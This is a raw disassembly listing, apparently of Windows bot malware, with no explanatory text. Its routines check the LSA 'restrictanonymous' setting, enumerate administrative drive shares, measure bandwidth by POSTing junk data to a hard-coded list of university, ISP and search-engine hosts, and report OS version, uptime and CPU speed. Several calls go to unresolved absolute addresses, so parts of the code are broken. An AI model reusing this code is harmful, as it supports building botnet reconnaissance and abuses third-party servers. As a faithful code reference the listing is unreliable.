		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_439D64
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------


loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_439D2C


loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------


loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_439CF0
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------


loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_439B08


loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_4399D0
		mov	edi, 200h


loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_439CD0
		jmp	short loc_41A341
; ---------------------------------------------------------------------------


loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_439CA8


loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_4399E0
		jb	short loc_41A321
		nop
		call	near ptr 2800000h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A


loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CAFD4
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_439CD0
		jmp	short loc_41A412
; ---------------------------------------------------------------------------


loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_439CA8


loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B


loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_439C78
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------


loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439A10
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		call	near ptr 2670B87h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_43381C ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------


loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]


loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------


loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx


loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7


loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]


loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798


loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax


loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax


loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax


loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------


loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi


loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------


loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi


loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------


loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi


loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_439E18
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 2670B87h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB240
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	near ptr 26B05ADh
		nop
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi


loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952


loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------


loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B


loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7


loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi


loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 2660545h
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994


loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7


loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7


loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07


loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17


loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27


loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36


loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D128
		mov	[ebp+var_CC], 94h
		call	near ptr 26B05ADh
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_43127C


loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_431278
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------


loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_431274
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_431270
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_43126C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_431268
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C


loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431260


loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44


loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_437834
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CAE54
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------


loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 2660000h
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A10C
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2710000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2701469h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2810000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
